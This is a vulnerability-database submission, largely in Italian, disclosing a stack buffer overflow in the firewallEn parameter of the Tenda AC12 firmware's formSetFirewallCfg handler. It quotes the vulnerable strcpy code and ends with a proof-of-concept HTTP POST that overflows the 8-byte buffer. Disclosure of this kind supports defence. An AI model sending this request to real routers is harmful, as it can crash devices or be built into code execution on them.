Invia #868912: Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of firewallEn. When firewallEn is passed to formSetFirewallCfg and copied into the fixed-size firewall_buf buffer by strcpy without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/SetFirewallCfg, registered as:
websFormDefine("SetFirewallCfg", (void (*)(webs_t, char_t *, char_t *))formSetFirewallCfg);

In formSetFirewallCfg, the attacker-controlled firewallEn parameter is read from the HTTP request:
firewall_value = websGetVar(wp, "firewallEn", "1111");

The destination buffer is a fixed-size stack buffer:
char firewall_buf[8];

The code only checks that strlen(firewall_value) >= 4. It does not check the maximum length of firewall_value before copying it into firewall_buf:
if ( strlen(firewall_value) >= 4 )
{
strcpy(firewall_buf, firewall_value);
GetValue("security.ddos.map", old_ddos_buf);
GetValue("firewall.pingwan", old_wan_ping_buf);
sprintf(mib_value, "%c,1500;%c,1500;%c,1500", firewall_buf[0], firewall_buf[2], firewall_buf[1]);
SetValue("security.ddos.map", mib_value);
SetValue("firewall.pingwan", &firewall_buf[3]);
}

Because strcpy copies the complete user-controlled firewallEn string into the 8-byte firewall_buf stack buffer, an overly long firewallEn value can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/SetFirewallCfg HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

firewallEn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

• Fonte: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/3.md
• Utente: stksgg (UID 97520)
• Sottomissione: 25/06/2026 08:52 (2 mesi fa)
• Moderazione: 13/08/2026 20:47 (2 months later)
• Stato: Duplicato
• Voce VulDB: 207260 [Tenda AC1206 15.03.06.23 formSetFirewallCfg firewallEn buffer overflow]
• Punti: 0